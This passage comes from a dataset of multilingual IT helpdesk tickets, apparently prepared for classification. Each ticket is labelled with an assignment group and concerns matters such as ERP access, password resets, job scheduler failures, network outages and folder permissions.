ce_leiter schreibrechte für ksdvp3, ce_leiter",GRP_34 +"on the english forms we are printing german instead of english there was a change in bank details made with ticket_no1557889. this is not correctly printing on the english forms. it is showing the correct data but the ""descriptions"" are in german. example. ""bankverbindung instead of bank address, konto nummer instead of account number"" i also see that there is an extra text being printed for the customers -- ""bitte beachten sie unsere neue bankverbindung."" ""please note our new bank account details."" only the english version should print on the english documents, not both german and english.",GRP_13 +"EU_tool jobs again not running, please help immediately released orders do not make it into the ""to-do-list"", please check the status and restart the system",GRP_25 +"is skype down? + +received from: lenxvcbq.vwnhjtoi@gmail.com + +i am not able to get into skype right now. is there an outage? + + + +",GRP_0 +"whenever i fill in any amount money into erp, it show me only 1rmb finally in the system. whenever i fill in any amount money into erp, it show me only 1rmb finally in the system. please contact withn me aerp. +my phone : ",GRP_0 +"job Job_1388 failed in job_scheduler at: 83.69.48.194 03:26:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1388 failed in job_scheduler at: 83.69.48.194 03:26:00",GRP_9 +"SID_1 - configair server responds with "" 500 internal server error"" in case of any other logon language than ""en"". configair server responds with "" 500 internal server error"" in case of any other logon language then ""en"" and the model ""csewdwdwdndmill"" is used. the issue exists in erp erp system SID_1 as well as on uacyltoe hxgayczedistributor_tool / uacyltoe hxgayczecompany center - quality environment.. +further error message text is "" error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'"". +logon language ""en"" is ok. if our ""csscdddwsawdrill"" model is used all language seem to be working fine. but once the user changes to any other language (e.g. de or it) and uses the model csewdwdwdndmill the configig air system responses with the error message during starting process of configair configurator.",GRP_14 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 83.69.48.194 02:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 83.69.48.194 02:54:00",GRP_8 +"unable to create delivery [urgent] plant_304 have 5pcs cannot created d/n for mm#6295171.our customer is very urgent this goods._x000D_ +would you please help sloved? _x000D_ +_x000D_ +",GRP_6 +"backup data _x000D_ +_x000D_ +received from: ucdwyxko.apktrsyq@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +by mistake one of the folder in HostName_95/rk/7116 has been deleted._x000D_ +requesting you to retrieve the same._x000D_ +_x000D_ +with best ",GRP_12 +"SID_34 - purchase requisition approval issue _x000D_ +_x000D_ +received from: izwtdnfq.xptuoaid@gmail.com_x000D_ +_x000D_ +hi it team,_x000D_ +_x000D_ +i cannot approve pr via the link provided. i only enable to approve directly in erp via me55._x000D_ +_x000D_ +kindly fix for me. ",GRP_29 +seit 20.10.2016 06:00mesz serverprobleme qmsoft nicht anwendbar. seit 20.10.2016 06:00mesz serverprobleme qmsoft nicht anwendbar.,GRP_25 +"ibm pmr#902s9kr:problem report from pwr8hmc1.hq.company.com +from: toolonicserviceagent_pwr8hmc1@pwr8hmc1.hq.company.com +sent: wednesday, october 19, 2016 9:54 pm +to: +subject: problem report from pwr8hmc1.hq.company.com + +reporting system: pwr8hmc1 +machine type-model/serial: 8284-22a/21e435v problem number: 101 +error: b4141118 +description: management console to fsp,bpa, or bpc failure detected last occurred: 10/19/16 9:40 pm current status: +pmr number: n/a +details: +",GRP_47 +"reset the password for arsbtkvd qieagkos on erp / production / erp _x000D_ +_x000D_ +received from: arsbtkvd.qieagkos@gmail.com_x000D_ +_x000D_ +good day!_x000D_ +could you please reset password for erp?_x000D_ +_x000D_ +",GRP_0 +"not able to add lean project into collaboration_platform + +received from: jhyazros.azdxonjg@gmail.com + +[cid:image001.png@01d22ab4.97030051] + +jkddwkwd.ngtr +assistant manager- manufacturing +company india limited +jhyazros.azdxonjg@gmail.com + + + +",GRP_0 +"prints (business_client) + +received from: vciknubg.wdlkabms@gmail.com + +request access to get prints. my id# is 21164311127. + +",GRP_2 +"can't log in ticketing_tool + +received from: zuxcfonv.nyhpkrbe@gmail.com + +gso + +user qzkyugce etsmnuba ( dondwdgj76) can't log on the ticketing_tool , the system display the user and password invalid , could you work on this ,",GRP_0 +"network outage:cantabria (mecftgobusa) - (kenci) hard down since 10:01 pm on 10/19 et.site has no backup circuit what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______10:01 pm on 10/19 et_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___na____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___na______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __na_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________na________________ _x000D_ +_x000D_ +12. notified gsc _____na___ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job SID_37stat failed in job_scheduler at: 10/19/2016 22:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37stat failed in job_scheduler at: 10/19/2016 22:11:00",GRP_1 +" mm # 2639483 iak-urgent from: kwddwdw hudfefwe +sent: thursday, october 20, 2016 7:31 am +to: nwfodmhc exurcwkm +cc: rxoynvgi ntgdsehl; gzawrocy shbgwxeparamdnty +subject::fw: mm # 2639483 iak-urgent + +it help, + +please help check , it's urgent. + +din, + +in future please raise such issue to our it as well. + +ap logistics manager +e: ovhtgsxd.dcqhnrmy@gmail.com + +from: rxoynvgi ntgdsehl +sent: thursday, october 20, 2016 9:21 am +to: gzawrocy shbgwxeparamdnty; johthryugftyson hu +cc: kmvwxdti uaoyhcep; +subject: re: mm # 2639483 iak + +hi morning , + +this issue still not solve yet, i still encounter same issue the net weight higher than gross weight. + +net weight 4777.1000 kgs and physical gross weight 5.000 kgs but in erp SID_34 vl03n shown it is correct. + +attached for your reference. + +hi morning, + +need your advice on this issue. + +this is issue happen since last thursday still not solve yet. + +attached email flow for your reference. + +ksjfye fekfeealleh +operation supervisor +email : rxoynvgi.ntgdsehl@gmail.com + + +from: +sent: wednesday, october 19, 2016 7:20 pm +to: gzawrocy shbgwxeparamdnty +cc: kmvwxdti uaoyhcep; rxoynvgi ntgdsehl +subject: aw: mm # 2639483 iak + +hello , + +it´s done. + +have a nice day + +mit freundlichen grüßen +best ",GRP_18 +"the note which was always printed at bottom of the quotation was missing. please help to put it back. please see attachment, ",GRP_13 +"erp locked + +received from: vqefplhm.mfpjaleo@gmail.com + +hello, + +my user id: yandfgs145. please help to unlock it. + +",GRP_0 +"error erp /SID_34/sa38 /zsd_mexico_inwarehouse_tool_extract _x000D_ +_x000D_ +received from: zvjwleuo.tdfqgcal@gmail.com_x000D_ +_x000D_ +i cannot run the erp /SID_34/sa38 /zsd_mexico_inwarehouse_tool_extract, shows an error:_x000D_ +[cid:image001.png@01d22a3d.f7f2ecb0]_x000D_ +[cid:image002.png@01d22a3d.f7f2ecb0]_x000D_ +best ",GRP_2 +"collaboration_platform access issue first name: trtgoywdd + +last name: povirttch + +customer job title: sales engineer + +contact #: + +email address: cmifnspg.icauzxfh@gmail.com + +vitalyst reference number: 0bb7f42a37 + +was bomsdgar used? yes + +description of problem: unable to access collaboration_platform site + + + +if this problem persists, contact your support team and include these technical details: +correlation id: SID_215af9d-3033-3000-ace7-0cf21c145e14 +date and time: 10/19/2016 4:04:23 pm +user: cmifnspg.icauzxfh@gmail.com +issue type: user does not have permissions. + +steps taken so far: + +goes to the hub > search > lagp > lagp request > goes to form> click on blue circle> access denied message + +previously had access to this site. + +",GRP_16 +"access to SID_1 i need access to SID_1 uacyltoe hxgaycze system: + +username: owenssdcl12 + +supervisor: phjencfg kwtcyazx + +manager: vnhaycfo smkpfjzv + +wsjkbw owwddwens +accounting specialist + + +",GRP_0 +no authorization in apps no authorization in apps,GRP_25 +unable to log in to erp SID_34 unable to log in to erp SID_34,GRP_0 +"job Job_1315 failed in job_scheduler at: 10/19/2016 18:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1315 failed in job_scheduler at: 10/19/2016 18:15:00",GRP_9 +access to erp SID_1 for user rgpvdhcm mgvpabsj access to erp SID_1 for user rgpvdhcm mgvpabsj,GRP_2 +"folder access requested for HostName_768 zugriff auf verzeichnis angefragt._x000D_ +folder access requested. HostName_768_x000D_ +_x000D_ +benutzer id ?_x000D_ +user id ?_x000D_ +_x000D_ +benutzer die position titel?_x000D_ +user's position title ?_x000D_ +_x000D_ +verzeichnis? _x000D_ +folder t:\corpbusinessdev\monthly financial review\fy17\2016-9> (october 14, 2016) _x000D_ +_x000D_ +art des zugriffs?_x000D_ +type of access ? (read only or full control) ?",GRP_0 +"folder access request +summary:need access to the following folder for our financial review t:\corpbusinessdev\monthly financial review\ + +i need to get read write. i need to save files here & be able to open them",GRP_34 +unlocked account unlocked account,GRP_0 +pricing and availability look up in dynamics crm not working the attached screenshot is from ptljghyk qhtvlrxe. she looked up a product that she knows we have. the screen shows 0.,GRP_40 +engineering_tool : not able to update new customer engineering_tool : not able to update new customer ,GRP_0 +unable to access collaboration_platform unable to access collaboration_platform,GRP_0 +unable to open engineering_tool unable to open engineering_tool ,GRP_0 +"permission to create cost centers in SID_1 erp (transaction ks01) i no longer have access to create cost centers in SID_1/only SID_34. please update access for cost center creation in the uacyltoe hxgayczeing system (SID_1). transaction ks01. _x000D_ +_x000D_ +",GRP_2 +"collaboration_platform issue +summary:having issues with collaboration_platform... unable to access +we have meetings that people have to post documents to the library and are not able to access...when will it be fixed??",GRP_0 +" static ip address it has been requested by our temporary service to provide them with a static ip address for a time clock that will be hard wired in. can you provide + +contact # : + +summary: do i gear the request for a static ip address to this box for assistance",GRP_4 +collaboration_platform system not working the collaboration_platform system is not working. multiple users report getting an error trying to open any company.collaboration_platform.com website. this greatly affects the discount process as we cannot access any request or update approved ones. the error message which pops up is attached. this affects poznań and usa.,GRP_16 +cannot get my usb wifi adapter to work on my laptop. cannot get my usb wifi adapter to work on my laptop.,GRP_3 +unable to access collaboration_platform unable to access collaboration_platform,GRP_0 +"collaboration_platform issue +summary:i was thrown off of vpn and tried several times to get back in. i am now back into vpn but cannot sign on to crm",GRP_0 +collaboration_platform issue collaboration_platform issue,GRP_0 +collaboration_platform down collaboration_platform down ,GRP_0 +skype for business is not connected to the exchange. ihuogcqd ihusvgcw phone. my skype for business can't connect to exchange. this has been going on all week. i have rebooted and logged back into skype but it will not connect and i keep getting this error. ,GRP_0 +the company collaboration_platform is reporting a down status since 10/19/2016 2:33 pm the company collaboration_platform is reporting a down status since 10/19/2016 2:33 pm,GRP_16 +vip 1: collaboration_platform page access issue vip 1: collaboration_platform page access issue,GRP_16 +"when running sa38 report zsdr0100, open order report, the report is not pulling usa scheduling agreements when running the report, example would be mm # 2123340 for location plant_92 as the source location, and making sure on the outputs tab, that scheduling agreements are included. this report is not picking up this scheduling agreement 4111333643/000010/0049????",GRP_13 +"no boot : service tag : 5lkzddens1 windows running into problem : goes to start up repair page. +loading fine in safe mode with networking. +user was able to log in using admin account.but dint dint have access to it. +tried shutting down pc and trying booting up...no go +flea power ..no go.. +it was going to repair screen again and again .. + + +st : 5lkzddens1 +contact details : +can be contacted during 7:00am-4:00pm",GRP_3 +"HostName_1003 : volume: c:\ label:sys-HostName_1003 543aa385 is over 85% space consumed. space available: 4.5 g. HostName_1003 : volume: c:\ label:sys-HostName_1003 543aa385 is over 85% space consumed. space available: 4.5 g._x000D_ +",GRP_12 +i need my address added to xerox prtqx7300 i need my address added to xerox prtqx7300,GRP_3 +personal number : locked : expense report personal number : locked : expense report ,GRP_0 +erp SID_37 password reset erp SID_37 password reset,GRP_0 +"it_ passwort + +received from: soldfnbq.uhnbsvqd@gmail.com + +hallo, + +ersuche alle meine passwörter zurückzusetzen, da gesperrt. crm,erp,vpn + +hello, + +all my passwords are locked. crm, erp, vpn + +mit freundlichen grüßen/ best ",GRP_0 +"skype and outlook synch issue , meeting are not showing up in skype, skype and outlook synch issue , meeting are not showing up in skype,_x000D_ +error message attached_x000D_ +_x000D_ +error message : skype for business and exchange aren't making a connection",GRP_0 +outlook hang unable to open the outlook its hang at process stage,GRP_19 +"this message was sent to the company quarantine database. please contact company it help desk for more information from: ncasrpvx fijwprtv +sent: wednesday, october 19, 2016 6:24 pm +to: nwfodmhc exurcwkm +subject: tr: notification: re: po #no ds00784fd9b60 + + +hello + +could you check this message + +",GRP_26 +"companyguest account for 2 days mechmet hswddwk +company:sllwdw75 +tel. +email: m.hswddwk@wsjsoiwd8yw.de +period: from now til tomorrow at 6mp",GRP_0 +unable to print. driver not found. unable to print. driver not found.,GRP_0 +unable to open outlook unable to open outlook,GRP_0 +no access to ethics. see below failure message... welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp.,GRP_23 +needs to change password needs to change password ,GRP_0 +fails to log in to erp and engineering tool i changed my password using the password manager and now i am locked out of erp. i used the password manager to unlock but still fails to log in to erp and engineering tool,GRP_0 +"job Job_1318 failed in job_scheduler at: 10/19/2016 10:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1318 failed in job_scheduler at: 10/19/2016 10:40:00",GRP_9 +unable to open netweaver unable to open netweaver ,GRP_0 +"skype is not functioning trying to use skype, is not responding, was working earlier",GRP_0 +"vip 1 :user unable to login to the pc. vip 1 :user unable to login to the pc._x000D_ +-advised the user to restart the pc and try to login with the new password.no go_x000D_ +-reset and help the user login to the pc._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved",GRP_27 +"employment status - new non-employee ycgkinov czoparqg @ us03 temp 10.20.16 *page down to ensure that all required data fields are complete before submitting* + +use this template for consultants, temps, interns, vendors, etc. please complete all entries. + +**id 21111594 +first name ?johddnthay +last name ?welwsswbtwe +location ?usa us03 +manager / sponsor ?keddsdn wethrybb +cost center ?bdm025 +external company name ?kellkwdy +what systems do they need access on ?mii +mii? yes + if yes – is user operator, admin or supervisor?operator need username and p/word +security note: for mii – add im:shopfloor_user_* to user's SID_34 account +is company email required for this person ? + if yes, by default a k1 license will be assigned for use of owa and collaboration_platform only, not outlook client, or skype. + if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer. + assign a k1 or e1 license? +access like who (required – this is to review copy-from person's access for approvals) +requires access until (date) ? +is the computer owned by company ? + if yes, is it a laptop or desktop ? computer name: +is remote access/vpn required ? +if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn. +start date ?10.20.16",GRP_2 +"business_client无法登入 + +received from: ktghvuwr.uwtakcmj@gmail.com + +hello + +关于business_client无法登入的问题请帮忙解决，即打开business_client软件，现在无法登入: + +1．连接vpn后，从软件端登入不行，显示如下： + +[cid:image001.jpg@01d22a56.4f7ef4c0] +2．从网页版登入，显示如下，出无法登入： + +[cid:image002.jpg@01d22a56.4f7ef4c0] + + + +ktghvuwr uwtakcmj +sr. application engineer +optimization team +ktghvuwr.uwtakcmj@gmail.com",GRP_0 +company guest account set up company guest account set up ,GRP_0 +"in our west coast email box, we can grab an email and color code it, but it is not undating not updating so that the other 3 people working the email box can see who has each email, , so we are duplicating work",GRP_0 +query regarding unread sync failure emails query regarding unread sync failure emails,GRP_0 +"unable to login to mii system : yrhackgt sfhxckgq unable to login to mii system : yrhackgt sfhxckgq_x000D_ +_x000D_ +checked account and found that it was not locked out._x000D_ +suggested user to unlock account from password_management_tool and try logging in again some time._x000D_ +_x000D_ +",GRP_0 +unable to launch ethics. flash player issue. unable to launch ethics. flash player issue.,GRP_0 +unable to access e-time. unable to access e-time. ,GRP_0 +"pls reset me the SID_39 crm production access name:francestrhuco +language: +browser:microsoft internet explorer +email:uvdqkbgi.suabfdci@gmail.com +customer number: +telephone: +summary:pls reset me the SID_39 crm production access + thx",GRP_0 +"cannot get thru to customer application support, something wrong with the phone #, you get a mesaage their number is ",GRP_7 +"microsoft outlook not responding, cannot open krthdelly sthytachnik, phone , usa location, login ",GRP_0 +called to unlock nvyjtmca xjhpznds account user id : datacntr called to unlock nvyjtmca xjhpznds account user id : datacntr,GRP_0 +bitte scanner für we111 einstellen.drucker wurde auf werkseinstellung zurückgesetzt (konica ). bitte scanner für we111 einstellen.drucker wurde auf werkseinstellung zurückgesetzt (konica ).,GRP_24 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool. +-connected to the user system using teamviewer. +-help the user login to the password_management_tool password tool and change the passwords. +-help the user to sync the psswords to the company network. +-caller confirmed that he was able to login. +-issue resolved.",GRP_0 +"bei herrn potthryzler (benutzerkennung: potsffwzlo) geht EU_tool am rechner: empw8111201a nicht. fehlermeldung: systemfehler &h91115116 + +with mr. potthryzler (user identification: potzlow) EU_tool does not go to the computer: empw8111201a. +error message: system error & h91115116 ",GRP_33 +account unlock account unlock,GRP_0 +probleme mit login in br \usalikfj lfmpxbcn probleme mit login in br \usalikfj lfmpxbcn,GRP_24 +"erp + +received from: tdkfuobm.qrtmaxos@gmail.com + +good morning, + +i am unable to log into my erp as normal. after review with doyhtuug endlkglfeghart, it was determined this was from the switchover of servers. + +can you please correct so i can log in as normal? + +",GRP_0 +unable to login to SID_1 unable to login to SID_1,GRP_0 +"winwip not working , asking to buy trial version validity expired winwip not working , asking to buy trial version validity expired ",GRP_0 +"erp ksff dashbankrds - need to push to computer lrrw7403548 + +received from: dpuifqeo.eglwsfkn@gmail.com + +please push the erp mii ksff dashbankrd to this computer + +",GRP_41 +need access to erp SID_1 like rpgcdbfa reuwibpt need access to erp SID_1 like rpgcdbfa reuwibpt,GRP_2 +"user needs help to login to erp SID_34. user needs help to login to erp SID_34._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the userlogin to the erp SID_34._x000D_ +-issue resolved.",GRP_0 +need the configuration of new pc need the configuration of new pc,GRP_0 +"it training - polycom _x000D_ +_x000D_ +received from: lkfzibrx.ljnabpgx@gmail.com_x000D_ +_x000D_ +hellow_x000D_ +_x000D_ +can someone help me to install polycom i have some issues_x000D_ +_x000D_ +",GRP_0 +"can you please give me access to the SID_1 uacyltoe hxgaycze system. user pildladjadga + + can you please give me access to the SID_1 uacyltoe hxgaycze system. user pildladjadga + +",GRP_0 +"acces to SID_1 _x000D_ +_x000D_ +received from: rgpvdhcm.mgvpabsj@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +due to travel_tool uacyltoe hxgayczeing please allow me to acces to q-11._x000D_ +",GRP_0 +"my collaboration_platform and sync keeps prompting for a password. i changed my password yesterday, ever since i keep getting messages to enter my email and password, i do and nothing happens, i again get prompted to enter it. my one note is not syncing because of this issue, evry time i work with a file i keep getting the prompt.",GRP_0 +"npc in erp system stuck due to employees leaving the company npc 311190814 was created by svuxizgr mkynswqd before she left the company. task list looked complete before she left, the materials are not fert. i re-assigned coordinator and tasks to me but it wont complete.",GRP_11 +"re: ticket_no1538187::cpp user ids - password change needed for 3 users - please assign to bokrgadgsu esdwduobrlcn + +received from: wibovsru.ulmqyhsk@gmail.com + +hello drwfubia, + +per our conversation, in two cases below i am unable to change the passwords because the erp system passwords are not reset to daypay3. i do not know who this ticket should be assigned to. i created the ticket and it was assigned by someone to you. if it has to go to someone else, please reassign it accordingly. + +cphemg02 - erp SID_34 - account locked - login not possible +cphemg02 - erp SID_39 - account locked - login not possible + +",GRP_0 +need access to \\eagcldaten\aese\leitung\csd_emealeitung need access to \\eagcldaten\aese\leitung\csd_emealeitung,GRP_34 +"folder deletion from s: drive _x000D_ +_x000D_ +received from: hjokrfpv.fhpaxsqc@gmail.com_x000D_ +_x000D_ +hello all,_x000D_ +_x000D_ +could you please help me retrieving the deleted folder from s drive._x000D_ +below was the link. now it's not here. folder name: vacation plan._x000D_ +vacation plan update (file://HostName_95/teams/globalengservices/12tcb_graphics/vacation%20plan/team%20vacation%20updates%202016.xlsx_x000D_ +_x000D_ +please support_x000D_ +_x000D_ +",GRP_12 +not able to view drawings in business_client not able to view drawings in business_client,GRP_0 +"job SID_37filesys failed in job_scheduler at: 10/19/2016 06:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37filesys failed in job_scheduler at: 10/19/2016 06:31:00",GRP_8 +"job Job_736 failed in job_scheduler at: 10/19/2016 06:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_736 failed in job_scheduler at: 10/19/2016 06:31:00",GRP_8 +"impact award + +received from: lzvdyouh.imqgfadb@gmail.com + +hallo, + +ich kann mich nicht in das impact award programdntym einloggen oder mein pass-wort zurücksetzen. + + +mit freundlichen grüßen + +lzvdyouh imqgfadb +",GRP_0 +"erp access issue : reset password for SID_37 for pandethrypv system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): + +enter user id of user having the issue: + +transaction code(s) the user needs or was working with: + +describe the issue: + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user: pandethrypv",GRP_2 +"folder access : s:\globalace_holemaking\ha646 please see below in red:_x000D_ +_x000D_ +viele grüße / best ",GRP_34 +outlook not working outlook not working,GRP_0 +"not able to access walkme plugin +every time i click on the ""walkme"" link , i get the "" upgrade plugin"" message . + +i get the below message in a new tab. i am not being able to access ""walkme plugin"" on hr_tool. + + + + +",GRP_0 +german caller german caller ,GRP_0 +"unable to get old mails in outlook _x000D_ +_x000D_ +received from: kirtyywpuo.dcksxjeq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please note i am unable to get my old mails in the inbox. the oldest mail i can get is of 9th april 2015._x000D_ +i need my old mails also as there is important data related to customers._x000D_ +_x000D_ +",GRP_0 +"job SID_37hoti failed in job_scheduler at: 10/19/2016 05:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hoti failed in job_scheduler at: 10/19/2016 05:25:00",GRP_8 +not able to open the existing hana report not able to open the existing hana report,GRP_9 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"collaboration_platform _x000D_ +_x000D_ +received from: nmgesubf.wugbalmy@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ + office 365 (collaboration_platform) is not executing in my a/c,_x000D_ +_x000D_ +pl. help,_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"a termination for ckfobaxd wgnejyvt, 11173878, effective 09/16/2016 has been approved. a termination for ckfobaxd wgnejyvt, 11173878, effective 09/16/2016 has been approved. _x000D_ +_x000D_ +account is not yet disabled ",GRP_2 +"waste email from workflow system _x000D_ +_x000D_ +received from: creojvdh.ciblyskg@gmail.com_x000D_ +_x000D_ +hello it helper，_x000D_ +recently i always got some email from working flow system to remind me approve pr :01456949 and 01456987, but that pr already no in erp , can you help me check ""?_x000D_ +_x000D_ +_x000D_ +",GRP_29 +not able to take skype meetings via head phone laptop model : dell precision m4800,GRP_19 +"belgium callsariving at agnwfwieszka kubiadfffk. there are belgium costumers calling the polish phone number of agnwfwieszka. +can we do something on it.",GRP_7 +"job Job_593 failed in job_scheduler at: 10/19/2016 04:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/19/2016 04:05:00",GRP_8 +"HostName_106:volume consumed 85% ,out of 20gb currently 3gb space is available. HostName_106:volume consumed 85% ,out of 20gb currently 3gb space is available.",GRP_12 +"power outage:company-na-mex-juarez-dmvpn-1811-rtr01 located at juarez mx is hard down since 2.53am et on 10/19. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______2.53am et on 10/19._______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +lüfter defekt \industriekontrollmonitor \niptbwdq csenjruz lüfter defekt \industriekontrollmonitor \niptbwdq csenjruz,GRP_24 +reinstall win7 \qidgvtwa qvbutayx reinstall win7 \qidgvtwa qvbutayx,GRP_24 +"probleme mit kamera und monitor . guten morgen dhthykts, + +um die kamera an den neuen monitor anzuschließen benötigen wir ein kabel von hdmi auf diesen hellgrauen anschluss am dell monitor. so ist zumindest die erste kamera aufgebaut. falls es andere alternativen gibt sind wir natürlich auch dafür offen. + +",GRP_24 +"unable to create delivery please provide the following: + +what order number? 36154414 + +what material or item number? 6604042 item 1300 + +what warehouse location? plant_263 + +issue description / error message? + +it is legal control issue, material was extended to plant plant_263 by rqfhiong zkwfqagb team, but legal control group isn't extend automatically also, it is fert product and for poland (like for all eu) it should be set like ear99, +we have the same problem with all new materials extended to plant plant_263 and country pl(the same issue with czech republic- plant_254 and turkey- plant_163), + +all materials have to be released manually by import/export managers (rlhuwmve krcfhoxj, slrgconp onukdesq, chrsddiwds dwdbertfsych), +the manually process take a lot times export team and csrs every day, and very often block invoicing and sales(tools after tests_n_demonstrations, consigment stocks), + +material #6604042 is only example and will be relased manually by petqkjra, but please check the problem, find root cause and solve it, + +",GRP_6 +probleme mit fp \rechner bleibt hängen \ksxchbaf rhquvzfm probleme mit fp \rechner bleibt hängen \ksxchbaf rhquvzfm,GRP_24 +need help in changing password in password_management_tool password manager. need help in changing password in password_management_tool password manager.,GRP_0 +"amssm003: windows disk space utilization alert:utiliuytretion is 97%, out of 18gb currently 555 mb is available. amssm003: windows disk space utilization alert : utiliuytretion is 97%, out of 18gb currently 555 mb is available. ",GRP_12 +"erp SID_34 ( erp production). _x000D_ +_x000D_ +received from: ydvmibwn.eljtsdar@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +the response time is of erp SID_34 ( erp production) is very slow._x000D_ +request you to kindly arrange to resolve it._x000D_ +_x000D_ +",GRP_14 +"telecom_vendor_3 dongle connection issue telecom_vendor_3 donggle connection issue +-connected to the user system using teamviewer. +-uninstalled and reinstalled the telecom_vendor_3 dongle app. +-checked the dongle settings. +-advised the user to try and connect.no go +-user mentioned that the telecom_vendor_3 connect get connected for some time and then disconnects. +-its happening since a long time +-no :",GRP_19 +wild card search for grade is not working in search by part number in distributor_tool wild card search for grade is not working in search by part number in distributor_tool,GRP_20 +reset passwords for soldfnbq uhnbsvqd using password_management_tool password reset. mein erp passwort funktioniert nicht. ich bin gesperrt.,GRP_17 +"access needed _x000D_ +_x000D_ +received from: fwypxqcs.twsqoimy@gmail.com_x000D_ +_x000D_ +hello ladies and gentlemen,_x000D_ +_x000D_ +_x000D_ +i need access to:_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d229e3.a59c88e0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image004.jpg@01d229e3.a59c88e0]_x000D_ +_x000D_ +_x000D_ +may ",GRP_34 +"job Job_485 failed in job_scheduler at: 10/19/2016 02:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_485 failed in job_scheduler at: 10/19/2016 02:31:00",GRP_8 +"pc an der EU_tool-station 21 in germany funktioniert nicht mehr. pc an der EU_tool-station 21(oder bde21) in germany funktioniert nicht mehr._x000D_ +anzeige schreibt festplatten fehler.",GRP_33 +"verbindung zum internet server nicht möglich wegen administrationsrechten - fehlermeldung in der mail,: dieser vorgang wurde wegen beschränkung abgebrochen. bitte wenden sie sich an den systemadministrator + +kein hyperlink möglich zu öffnen!",GRP_0 +reset passwords for soldfnbq uhnbsvqd using password_management_tool password reset. the,GRP_17 +"erp SID_34 passowrd + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist to reset erp SID_34 password for user kimtc. + +dkklddww lqdwjdwd +operation supervisor +company distribution services of asia pte ltd +email : rxoynvgi.ntgdsehl@gmail.com",GRP_0 +erp account entsperren bitte erp account von fygrwuna gomcekzi entsperren.,GRP_0 +"delivery blocked status :blocked same issue with inc1561759. i have found another delivery status blocked items. please see the attached excel file for material numbers. _x000D_ +plesae change status to ""not blocked"" otherwise we cannot create delivery note.",GRP_13 +reset passwords for fygrwuna gomcekzi using password_management_tool password reset. bitte erp kennwort zurücksetzen.,GRP_17 +reset passwords for fygrwuna gomcekzi using password_management_tool password reset. the,GRP_17 +"quote required laptop bag & projector adopter for dell latitude 7350 